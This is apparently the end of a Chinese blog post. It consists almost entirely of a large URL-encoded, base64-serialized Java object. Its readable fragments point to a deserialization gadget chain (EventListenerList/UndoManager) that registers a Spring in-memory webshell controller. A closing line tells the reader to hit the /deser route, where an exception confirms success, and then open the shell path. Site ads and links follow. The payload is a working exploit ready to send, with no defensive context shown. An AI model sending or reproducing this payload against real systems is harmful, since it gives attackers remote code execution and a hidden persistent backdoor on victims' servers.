a%68%65%43%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%68%30 %64%48%41%76%53%48%52%30 %63%46%4 e%6 c%63%6 e%5 a%73%5 a%58%52%53%5 a%58%4 e%77%62%32%35%7 a%5 a%51%77%41%36%77%44%73%41%51%42%4 d%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%63%32%56%79%64%6 d%78%6 c%64%43%39%74%64%6 d%4 d%76%59%32%39%75%5 a%47%6 c%30 %61%57%39%75%4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%4 e%5 a%58%52%6 f%62%32%52%7 a%55%6 d%56%78%64%57%56%7 a%64%45%4 e%76%62%6 d%52%70 %64%47%6 c%76%62%67%45%41%4 e%57%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%32%4 a%70 %62%6 d%51%76%59%57%35%75%62%33%52%68%64%47%6 c%76%62%69%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%56%30 %61%47%39%6 b%44%41%41%34%41%4 f%30 %42%41%41%59%76%63%32%68%6 c%62%47%77%4 d%41%4 f%34%41%38%41%63%41%38%51%77%41%38%67%44%7 a%44%41%44%30 %41%50 %55%4 d%41%50 %59%41%39%77%45%41%45%32%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%46%65%47%4 e%6 c%63%48%52%70 %62%32%34%42%41%45%42%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%46%73%59%57%34%76%61%57%35%30 %5 a%58%4 a%75%59%57%77%76%65%48%4 e%73%64%47%4 d%76%63%6 e%56%75%64%47%6 c%74%5 a%53%39%42%59%6 e%4 e%30 %63%6 d%46%6 a%64%46%52%79%59%57%35%7 a%62%47%56%30 %41%51%41%54%61%6 d%46%32%59%53%39%70 %62%79%39%4 a%62%6 e%42%31%64%46%4 e%30 %63%6 d%56%68%62%51%45%41%45%32%70 %68%64%6 d%45%76%61%57%38%76%53%55%39%46%65%47%4 e%6 c%63%48%52%70 %62%32%34%42%41%44%6 c%6 a%62%32%30 %76%63%33%56%75%4 c%32%39%79%5 a%79%39%68%63%47%46%6 a%61%47%55%76%65%47%46%73%59%57%34%76%61%57%35%30 %5 a%58%4 a%75%59%57%77%76%65%48%4 e%73%64%47%4 d%76%56%48%4 a%68%62%6 e%4 e%73%5 a%58%52%46%65%47%4 e%6 c%63%48%52%70 %62%32%34%42%41%41%78%6 e%5 a%58%52%51%59%58%4 a%68%62%57%56%30 %5 a%58%49%42%41%43%59%6 f%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%54%64%48%4 a%70 %62%6 d%63%37%4 b%55%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%77%45%41%45%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%54%65%58%4 e%30 %5 a%57%30 %42%41%41%74%6 e%5 a%58%52%51%63%6 d%39%77%5 a%58%4 a%30 %65%51%45%41%43%33%52%76%54%47%39%33%5 a%58%4 a%44%59%58%4 e%6 c%41%51%41%55%4 b%43%6 c%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%4 e%30 %63%6 d%6 c%75%5 a%7 a%73%42%41%41%68%6 a%62%32%35%30 %59%57%6 c%75%63%77%45%41%47%79%68%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%30 %4 e%6 f%59%58%4 a%54%5 a%58%46%31%5 a%57%35%6 a%5 a%54%73%70 %57%67%45%41%45%57%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%53%64%57%35%30 %61%57%31%6 c%41%51%41%4 b%5 a%32%56%30 %55%6 e%56%75%64%47%6 c%74%5 a%51%45%41%46%53%67%70 %54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%53%64%57%35%30 %61%57%31%6 c%4 f%77%45%41%42%47%56%34%5 a%57%4 d%42%41%43%67%6 f%57%30 %78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%79%6 c%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%42%79%62%32%4 e%6 c%63%33%4 d%37%41%51%41%52%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%42%79%62%32%4 e%6 c%63%33%4 d%42%41%41%35%6 e%5 a%58%52%4 a%62%6 e%42%31%64%46%4 e%30 %63%6 d%56%68%62%51%45%41%46%79%67%70 %54%47%70 %68%64%6 d%45%76%61%57%38%76%53%57%35%77%64%58%52%54%64%48%4 a%6 c%59%57%30 %37%41%51%41%59%4 b%45%78%71%59%58%5 a%68%4 c%32%6 c%76%4 c%30 %6 c%75%63%48%56%30 %55%33%52%79%5 a%57%46%74%4 f%79%6 c%57%41%51%41%4 d%64%58%4 e%6 c%52%47%56%73%61%57%31%70 %64%47%56%79%41%51%41%6 e%4 b%45%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%79%6 c%4 d%61%6 d%46%32%59%53%39%31%64%47%6 c%73%4 c%31%4 e%6 a%59%57%35%75%5 a%58%49%37%41%51%41%48%61%47%46%7 a%54%6 d%56%34%64%41%45%41%41%79%67%70 %57%67%45%41%42%47%35%6 c%65%48%51%42%41%41%6 c%6 e%5 a%58%52%58%63%6 d%6 c%30 %5 a%58%49%42%41%42%63%6 f%4 b%55%78%71%59%58%5 a%68%4 c%32%6 c%76%4 c%31%42%79%61%57%35%30 %56%33%4 a%70 %64%47%56%79%4 f%77%45%41%45%32%70 %68%64%6 d%45%76%61%57%38%76%55%48%4 a%70 %62%6 e%52%58%63%6 d%6 c%30 %5 a%58%49%42%41%41%56%33%63%6 d%6 c%30 %5 a%51%45%41%46%53%68%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%4 e%30 %63%6 d%6 c%75%5 a%7 a%73%70 %56%67%45%41%42%57%5 a%73%64%58%4 e%6 f%41%51%41%38%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%59%32%39%75%64%47%56%34%64%43%39%79%5 a%58%46%31%5 a%58%4 e%30 %4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%44%62%32%35%30 %5 a%58%68%30 %53%47%39%73%5 a%47%56%79%41%51%41%59%59%33%56%79%63%6 d%56%75%64%46%4 a%6 c%63%58%56%6 c%63%33%52%42%64%48%52%79%61%57%4 a%31%64%47%56%7 a%41%51%41%39%4 b%43%6 c%4 d%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%59%32%39%75%64%47%56%34%64%43%39%79%5 a%58%46%31%5 a%58%4 e%30 %4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%42%64%48%52%79%61%57%4 a%31%64%47%56%7 a%4 f%77%45%41%4 f%57%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%32%4 e%76%62%6 e%52%6 c%65%48%51%76%63%6 d%56%78%64%57%56%7 a%64%43%39%53%5 a%58%46%31%5 a%58%4 e%30 %51%58%52%30 %63%6 d%6 c%69%64%58%52%6 c%63%77%45%41%44%47%64%6 c%64%45%46%30 %64%48%4 a%70 %59%6 e%56%30 %5 a%51%45%41%4 a%79%68%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%4 e%30 %63%6 d%6 c%75%5 a%7 a%74%4 a%4 b%55%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%54%32%4 a%71%5 a%57%4 e%30 %4 f%77%45%41%42%32%64%6 c%64%45%4 a%6 c%59%57%34%42%41%43%55%6 f%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%44%62%47%46%7 a%63%7 a%73%70 %54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%50 %59%6 d%70 %6 c%59%33%51%37%41%51%41%51%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%30 %39%69%61%6 d%56%6 a%64%41%45%41%43%47%64%6 c%64%45%4 e%73%59%58%4 e%7 a%41%51%41%54%4 b%43%6 c%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%30 %4 e%73%59%58%4 e%7 a%4 f%77%45%41%45%47%64%6 c%64%45%52%6 c%59%32%78%68%63%6 d%56%6 b%52%6 d%6 c%6 c%62%47%51%42%41%43%30 %6 f%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%54%64%48%4 a%70 %62%6 d%63%37%4 b%55%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%63%6 d%56%6 d%62%47%56%6 a%64%43%39%47%61%57%56%73%5 a%44%73%42%41%42%64%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%63%6 d%56%6 d%62%47%56%6 a%64%43%39%47%61%57%56%73%5 a%41%45%41%44%58%4 e%6 c%64%45%46%6 a%59%32%56%7 a%63%32%6 c%69%62%47%55%42%41%41%51%6 f%57%69%6 c%57%41%51%41%44%5 a%32%56%30 %41%51%41%6 d%4 b%45%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%54%32%4 a%71%5 a%57%4 e%30 %4 f%79%6 c%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%30 %39%69%61%6 d%56%6 a%64%44%73%42%41%44%31%76%63%6 d%63%76%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%33%64%6 c%59%69%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%31%32%59%79%39%74%5 a%58%52%6 f%62%32%51%76%55%6 d%56%78%64%57%56%7 a%64%45%31%68%63%48%42%70 %62%6 d%64%4 a%62%6 d%5 a%76%41%51%41%4 a%5 a%32%56%30 %54%57%56%30 %61%47%39%6 b%41%51%42%41%4 b%45%78%71%59%58%5 a%68%4 c%32%78%68%62%6 d%63%76%55%33%52%79%61%57%35%6 e%4 f%31%74%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%30 %4 e%73%59%58%4 e%7 a%4 f%79%6 c%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%33%4 a%6 c%5 a%6 d%78%6 c%59%33%51%76%54%57%56%30 %61%47%39%6 b%4 f%77%45%41%4 f%79%68%62%54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%32%4 a%70 %62%6 d%51%76%59%57%35%75%62%33%52%68%64%47%6 c%76%62%69%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%56%30 %61%47%39%6 b%4 f%79%6 c%57%41%51%41%46%63%47%46%30 %61%48%4 d%42%41%41%64%43%64%57%6 c%73%5 a%47%56%79%41%51%42%63%4 b%46%74%4 d%61%6 d%46%32%59%53%39%73%59%57%35%6 e%4 c%31%4 e%30 %63%6 d%6 c%75%5 a%7 a%73%70 %54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%62%58%5 a%6 a%4 c%32%31%6 c%64%47%68%76%5 a%43%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%46%77%63%47%6 c%75%5 a%30 %6 c%75%5 a%6 d%38%6 b%51%6 e%56%70 %62%47%52%6 c%63%6 a%73%42%41%45%56%76%63%6 d%63%76%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%33%64%6 c%59%69%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%31%32%59%79%39%74%5 a%58%52%6 f%62%32%51%76%55%6 d%56%78%64%57%56%7 a%64%45%31%68%63%48%42%70 %62%6 d%64%4 a%62%6 d%5 a%76%4 a%45%4 a%31%61%57%78%6 b%5 a%58%49%42%41%41%64%76%63%48%52%70 %62%32%35%7 a%41%51%43%64%4 b%45%78%76%63%6 d%63%76%63%33%42%79%61%57%35%6 e%5 a%6 e%4 a%68%62%57%56%33%62%33%4 a%72%4 c%33%64%6 c%59%69%39%7 a%5 a%58%4 a%32%62%47%56%30 %4 c%32%31%32%59%79%39%74%5 a%58%52%6 f%62%32%51%76%55%6 d%56%78%64%57%56%7 a%64%45%31%68%63%48%42%70 %62%6 d%64%4 a%62%6 d%5 a%76%4 a%45%4 a%31%61%57%78%6 b%5 a%58%4 a%44%62%32%35%6 d%61%57%64%31%63%6 d%46%30 %61%57%39%75%4 f%79%6 c%4 d%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%63%32%56%79%64%6 d%78%6 c%64%43%39%74%64%6 d%4 d%76%62%57%56%30 %61%47%39%6 b%4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%4 e%59%58%42%77%61%57%35%6 e%53%57%35%6 d%62%79%52%43%64%57%6 c%73%5 a%47%56%79%4 f%77%45%41%42%57%4 a%31%61%57%78%6 b%41%51%42%42%4 b%43%6 c%4 d%62%33%4 a%6 e%4 c%33%4 e%77%63%6 d%6 c%75%5 a%32%5 a%79%59%57%31%6 c%64%32%39%79%61%79%39%33%5 a%57%49%76%63%32%56%79%64%6 d%78%6 c%64%43%39%74%64%6 d%4 d%76%62%57%56%30 %61%47%39%6 b%4 c%31%4 a%6 c%63%58%56%6 c%63%33%52%4 e%59%58%42%77%61%57%35%6 e%53%57%35%6 d%62%7 a%73%42%41%41%39%79%5 a%57%64%70 %63%33%52%6 c%63%6 b%31%68%63%48%42%70 %62%6 d%63%42%41%47%34%6 f%54%47%39%79%5 a%79%39%7 a%63%48%4 a%70 %62%6 d%64%6 d%63%6 d%46%74%5 a%58%64%76%63%6 d%73%76%64%32%56%69%4 c%33%4 e%6 c%63%6 e%5 a%73%5 a%58%51%76%62%58%5 a%6 a%4 c%32%31%6 c%64%47%68%76%5 a%43%39%53%5 a%58%46%31%5 a%58%4 e%30 %54%57%46%77%63%47%6 c%75%5 a%30 %6 c%75%5 a%6 d%38%37%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%50 %59%6 d%70 %6 c%59%33%51%37%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%79%5 a%57%5 a%73%5 a%57%4 e%30 %4 c%30 %31%6 c%64%47%68%76%5 a%44%73%70 %56%67%41%68%41%43%63%41%4 e%77%41%41%41%41%41%41%42%51%41%42%41%44%67%41%4 f%51%41%42%41%44%6 f%41%41%41%41%76%41%41%45%41%41%51%41%41%41%41%55%71%74%77%41%42%73%51%41%41%41%41%49%41%4 f%77%41%41%41%41%59%41%41%51%41%41%41%42%55%41%50 %41%41%41%41%41%77%41%41%51%41%41%41%41%55%41%50 %51%41%2 b%41%41%41%41%41%51%41%2 f%41%45%41%41%41%67%41%36%41%41%41%42%67%77%41%46%41%41%6 b%41%41%41%43%70 %4 b%78%49%43%75%51%41%44%41%67%44%47%41%4 b%41%45%50 %68%49%45%75%41%41%46%4 f%67%51%5 a%42%4 d%59%41%45%68%6 b%45%74%67%41%47%45%67%65%32%41%41%69%5 a%41%41%55%44%50 %68%32%5 a%41%42%38%47%76%51%41%4 a%57%51%4 d%53%43%6 c%4 e%5 a%42%42%49%4 c%55%31%6 b%46%4 b%78%49%43%75%51%41%44%41%67%42%54%70 %77%41%63%42%72%30 %41%43%56%6 b%44%45%67%78%54%57%51%51%53%44%56%4 e%5 a%42%53%73%53%41%72%6 b%41%41%77%49%41%55%7 a%6 f%46%75%41%41%4 f%47%51%57%32%41%41%2 b%32%41%42%41%36%42%72%73%41%45%56%6 b%5 a%42%72%63%41%45%68%49%54%74%67%41%55%4 f%67%63%5 a%42%37%59%41%46%5 a%6 b%41%43%78%6 b%48%74%67%41%57%70 %77%41%46%45%68%63%36%43%43%79%35%41%42%67%42%41%42%6 b%49%74%67%41%5 a%4 c%4 c%6 b%41%47%41%45%41%74%67%41%61%73%51%41%41%41%41%4 d%41%4 f%77%41%41%41%44%49%41%44%41%41%41%41%43%77%41%43%77%41%74%41%41%30 %41%4 c%67%41%55%41%43%38%41%4 a%67%41%77%41%43%67%41%4 d%67%42%6 a%41%44%4 d%41%63%41%41%30 %41%49%41%41%4 e%51%43%55%41%44%59%41%6 e%77%41%33%41%4 b%67%41%4 f%51%41%38%41%41%41%41%58%41%41%4 a%41%41%30 %41%6 d%77%42%42%41%45%49%41%41%77%41%55%41%4 a%51%41%51%77%42%45%41%41%51%41%59%77%42%46%41%45%55%41%52%67%41%46%41%48%41%41%4 f%41%42%48%41%45%67%41%42%67%43%41%41%43%67%41%53%51%42%4 b%41%41%63%41%6 c%41%41%55%41%45%73%41%52%41%41%49%41%41%41%41%71%51%41%39%41%44%34%41%41%41%41%41%41%4 b%6 b%41%54%41%42%4 e%41%41%45%41%41%41%43%70 %41%45%34%41%54%77%41%43%41%46%41%41%41%41%41%75%41%41%62%39%41%43%67%42%42%77%42%52%48%31%67%48%41%46%4 c%2 b%41%43%34%48%41%46%49%48%41%46%4 d%48%41%46%52%42%42%77%42%52%2 f%77%41%56%41%41%4 d%48%41%46%55%48%41%46%59%48%41%46%63%41%41%41%42%59%41%41%41%41%42%41%41%42%41%46%6 b%41%41%51%42%61%41%46%73%41%41%67%41%36%41%41%41%41%50 %77%41%41%41%41%4 d%41%41%41%41%42%73%51%41%41%41%41%49%41%4 f%77%41%41%41%41%59%41%41%51%41%41%41%44%34%41%50 %41%41%41%41%43%41%41%41%77%41%41%41%41%45%41%50 %51%41%2 b%41%41%41%41%41%41%41%42%41%46%77%41%58%51%41%42%41%41%41%41%41%51%42%65%41%46%38%41%41%67%42%59%41%41%41%41%42%41%41%42%41%47%41%41%41%51%42%61%41%47%45%41%41%67%41%36%41%41%41%41%53%51%41%41%41%41%51%41%41%41%41%42%73%51%41%41%41%41%49%41%4 f%77%41%41%41%41%59%41%41%51%41%41%41%45%4 d%41%50 %41%41%41%41%43%6 f%41%42%41%41%41%41%41%45%41%50 %51%41%2 b%41%41%41%41%41%41%41%42%41%46%77%41%58%51%41%42%41%41%41%41%41%51%42%69%41%47%4 d%41%41%67%41%41%41%41%45%41%5 a%41%42%6 c%41%41%4 d%41%57%41%41%41%41%41%51%41%41%51%42%67%41%41%67%41%5 a%67%41%35%41%41%45%41%4 f%67%41%41%41%55%73%41%42%67%41%49%41%41%41%41%69%4 c%67%41%47%78%49%63%41%37%6 b%41%48%51%4 d%41%77%41%41%65%53%79%6 f%53%48%37%6 b%41%49%41%49%41%77%41%41%66%54%43%75%32%41%43%45%53%49%72%59%41%49%30 %30 %73%42%4 c%59%41%4 a%43%77%72%74%67%41%6 c%77%41%41%6 d%54%68%49%6 e%45%69%67%46%76%51%41%70 %57%51%4 d%53%4 b%6 c%4 e%5 a%42%42%49%72%55%37%59%41%4 c%44%6 f%45%75%77%41%74%57%51%4 f%39%41%43%36%33%41%43%38%36%42%51%53%39%41%41%6 c%5 a%41%78%49%77%55%37%67%41%4 d%53%32%35%41%44%49%43%41%4 c%6 b%41%4 d%77%45%41%4 f%67%61%37%41%43%64%5 a%74%77%41%30 %4 f%67%63%72%47%51%59%5 a%42%78%6 b%45%74%67%41%31%70 %77%41%45%53%37%45%41%41%51%41%41%41%49%4 d%41%68%67%41%32%41%41%4 d%41%4 f%77%41%41%41%45%49%41%45%41%41%41%41%42%67%41%44%77%41%5 a%41%42%73%41%47%67%41%6 c%41%42%73%41%4 b%67%41%63%41%43%77%41%48%51%41%7 a%41%42%34%41%53%67%41%66%41%46%63%41%49%41%42%6 b%41%43%45%41%61%51%41%69%41%48%41%41%49%77%42%35%41%43%51%41%67%77%41%6 f%41%49%59%41%4 a%67%43%48%41%43%6 b%41%50 %41%41%41%41%46%49%41%43%41%41%50 %41%48%51%41%5 a%77%42%6 f%41%41%41%41%47%77%42%6 f%41%47%6 b%41%61%67%41%42%41%43%55%41%58%67%42%72%41%47%77%41%41%67%41%7 a%41%46%41%41%62%51%42%77%41%41%4 d%41%53%67%41%35%41%48%45%41%63%67%41%45%41%46%63%41%4 c%41%42%7 a%41%48%51%41%42%51%42%77%41%42%4 d%41%64%51%42%32%41%41%59%41%65%51%41%4 b%41%48%63%41%50 %67%41%48%41%46%41%41%41%41%41%4 a%41%41%4 c%33%41%49%59%48%41%48%67%41%41%41%49%41%65%51%41%41%41%41%49%41%65%67%42%76%41%41%41%41%45%67%41%43%41%43%59%41%70 %77%42%75%41%41%6 b%41%73%77%43%6 e%41%4 f%38%47%43%58%42%30 %41%41%45%78%63%48%63%42%41%48%68%31%63%51%42%2 b%41%41%59%41%41%41%41%75%4 d%43%77%43%46%45%73%65%42%57%68%6 c%56%38%6 e%45%35%63%4 e%4 e%68%2 b%36%4 f%74%63%6 e%78%76%34%62%4 a%41%68%51%50 %4 b%75%4 c%2 f%44%4 b%62%79%63%71%78%48%49%30 %6 d%30 %2 b%32%52%30 %65%4 f%6 a%4 d%70 %58%51%41%41%30 %52%54%51%58%4 e%79%41%43%4 e%71%59%58%5 a%68%65%43%35%7 a%64%32%6 c%75%5 a%79%35%6 c%64%6 d%56%75%64%43%35%46%64%6 d%56%75%64%45%78%70 %63%33%52%6 c%62%6 d%56%79%54%47%6 c%7 a%64%4 c%45%32%78%6 e%32%45%36%74%5 a%45%41%77%41%41%65%48%42%30 %41%42%64%71%59%58%5 a%68%4 c%6 d%78%68%62%6 d%63%75%53%57%35%30 %5 a%58%4 a%75%59%57%78%46%63%6 e%4 a%76%63%6 e%4 e%79%41%42%78%71%59%58%5 a%68%65%43%35%7 a%64%32%6 c%75%5 a%79%35%31%62%6 d%52%76%4 c%6 c%56%75%5 a%47%39%4 e%59%57%35%68%5 a%32%56%79%34%79%73%68%65%55%78%78%79%6 b%49%43%41%41%4 a%4 a%41%41%35%70 %62%6 d%52%6 c%65%45%39%6 d%54%6 d%56%34%64%45%46%6 b%5 a%45%6 b%41%42%57%78%70 %62%57%6 c%30 %65%48%49%41%48%57%70 %68%64%6 d%46%34%4 c%6 e%4 e%33%61%57%35%6 e%4 c%6 e%56%75%5 a%47%38%75%51%32%39%74%63%47%39%31%62%6 d%52%46%5 a%47%6 c%30 %70 %5 a%35%51%75%6 c%50 %62%6 c%66%30 %43%41%41%4 a%61%41%41%70 %70 %62%6 c%42%79%62%32%64%79%5 a%58%4 e%7 a%54%41%41%46%5 a%57%52%70 %64%48%4 e%30 %41%42%4 a%4 d%61%6 d%46%32%59%53%39%31%64%47%6 c%73%4 c%31%5 a%6 c%59%33%52%76%63%6 a%74%34%63%67%41%6 c%61%6 d%46%32%59%58%67%75%63%33%64%70 %62%6 d%63%75%64%57%35%6 b%62%79%35%42%59%6 e%4 e%30 %63%6 d%46%6 a%64%46%56%75%5 a%47%39%68%59%6 d%78%6 c%52%57%52%70 %64%41%67%4 e%47%34%37%74%41%67%73%51%41%67%41%43%57%67%41%46%59%57%78%70 %64%6 d%56%61%41%41%74%6 f%59%58%4 e%43%5 a%57%56%75%52%47%39%75%5 a%58%68%77%41%51%45%42%63%33%49%41%45%47%70 %68%64%6 d%45%75%64%58%52%70 %62%43%35%57%5 a%57%4 e%30 %62%33%4 c%5 a%6 c%33%31%62%67%44%75%76%41%51%4 d%41%41%30 %6 b%41%45%57%4 e%68%63%47%46%6 a%61%58%52%35%53%57%35%6 a%63%6 d%56%74%5 a%57%35%30 %53%51%41%4 d%5 a%57%78%6 c%62%57%56%75%64%45%4 e%76%64%57%35%30 %57%77%41%4 c%5 a%57%78%6 c%62%57%56%75%64%45%52%68%64%47%46%30 %41%42%4 e%62%54%47%70 %68%64%6 d%45%76%62%47%46%75%5 a%79%39%50 %59%6 d%70 %6 c%59%33%51%37%65%48%41%41%41%41%41%41%41%41%41%41%41%58%56%79%41%42%4 e%62%54%47%70 %68%64%6 d%45%75%62%47%46%75%5 a%79%35%50 %59%6 d%70 %6 c%59%33%51%37%6 b%4 d%35%59%6 e%78%42%7 a%4 b%57%77%43%41%41%42%34%63%41%41%41%41%47%52%7 a%63%67%41%65%59%32%39%74%4 c%6 d%46%73%61%57%4 a%68%59%6 d%45%75%5 a%6 d%46%7 a%64%47%70 %7 a%62%32%34%75%53%6 c%4 e%50 %54%6 b%46%79%63%6 d%46%35%41%41%41%41%41%41%41%41%41%41%45%43%41%41%46%4 d%41%41%52%73%61%58%4 e%30 %64%41%41%51%54%47%70 %68%64%6 d%45%76%64%58%52%70 %62%43%39%4 d%61%58%4 e%30 %4 f%33%68%77%63%33%49%41%45%32%70 %68%64%6 d%45%75%64%58%52%70 %62%43%35%42%63%6 e%4 a%68%65%55%78%70 %63%33%52%34%67%64%49%64%6 d%63%64%68%6 e%51%4 d%41%41%55%6 b%41%42%48%4 e%70 %65%6 d%56%34%63%41%41%41%41%41%46%33%42%41%41%41%41%41%46%78%41%48%34%41%42%58%68%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%77%63%48%42%34%41%41%41%41%41%41%41%41%41%47%52%77%65%48%67%3d
访问/deser路由 可以看到exception 说明已经成功了 再去访问shell目录就行
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek-R1本地部署如何选择适合你的版本?看这里
· 开源的 DeepSeek-R1「GitHub 热点速览」
· 传国玉玺易主,ai.com竟然跳转到国产AI
· 揭秘 Sdcb Chats 如何解析 DeepSeek-R1 思维链
· 自己如何在本地电脑从零搭建DeepSeek!手把手教学,快来看看! (建议收藏)